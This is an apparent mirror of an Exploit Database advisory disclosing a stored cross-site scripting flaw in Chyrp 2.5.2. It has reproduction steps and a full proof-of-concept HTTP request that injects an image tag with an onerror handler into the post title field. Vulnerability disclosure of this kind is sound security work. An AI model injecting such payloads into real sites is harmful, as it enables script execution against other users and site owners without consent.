Chyrp 2.5.2 – Stored Cross-Site Scripting (XSS)

• Exploit Database
• 129 阅读

• 作者： Ahmet Ümit BAYRAM
  日期： 2024-05-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/52013/
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  # Chyrp 2.5.2 - Stored Cross-Site Scripting (XSS) # Date: 2024-04-24 # Exploit Author: Ahmet Ümit BAYRAM # Vendor Homepage: https://github.com/chyrp/ # Software Link: https://github.com/chyrp/chyrp/archive/refs/tags/v2.5.2.zip # Version: 2.5.2 # Tested on: MacOS   ### Steps to Reproduce ###   - Login from the address: http://localhost/chyrp/?action=login. - Click on &apos;Write&apos;. - Type this payload into the &apos;Title&apos; field: "><img src=x onerror=alert( "Stored")> - Fill in the &apos;Body&apos; area and click &apos;Publish&apos;. - An alert message saying "Stored" will appear in front of you.   ### PoC Request ###   POST /chyrp/admin/?action=add_post HTTP/1.1 Host: localhost Cookie: ChyrpSession=c4194c16a28dec03e449171087981d11; show_more_options=true User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp, */*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------28307567523233313132815561598 Content-Length: 1194 Origin: http://localhost Referer: http://localhost/chyrp/admin/?action=write_post Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers Connection: close   -----------------------------28307567523233313132815561598 Content-Disposition: form-data; name="title"   "><img src=x onerror=alert("Stored")> -----------------------------28307567523233313132815561598 Content-Disposition: form-data; name="body"   <p>1337</p> -----------------------------28307567523233313132815561598 Content-Disposition: form-data; name="status"   public -----------------------------28307567523233313132815561598 Content-Disposition: form-data; name="slug"     -----------------------------28307567523233313132815561598 Content-Disposition: form-data; name="created_at"   04/24/24 12:31:57 -----------------------------28307567523233313132815561598 Content-Disposition: form-data; name="original_time"   04/24/24 12:31:57 -----------------------------28307567523233313132815561598 Content-Disposition: form-data; name="trackbacks"     -----------------------------28307567523233313132815561598 Content-Disposition: form-data; name="feather"   text -----------------------------28307567523233313132815561598 Content-Disposition: form-data; name="hash"   11e11aba15114f918ec1c2e6b8f8ddcf -----------------------------28307567523233313132815561598--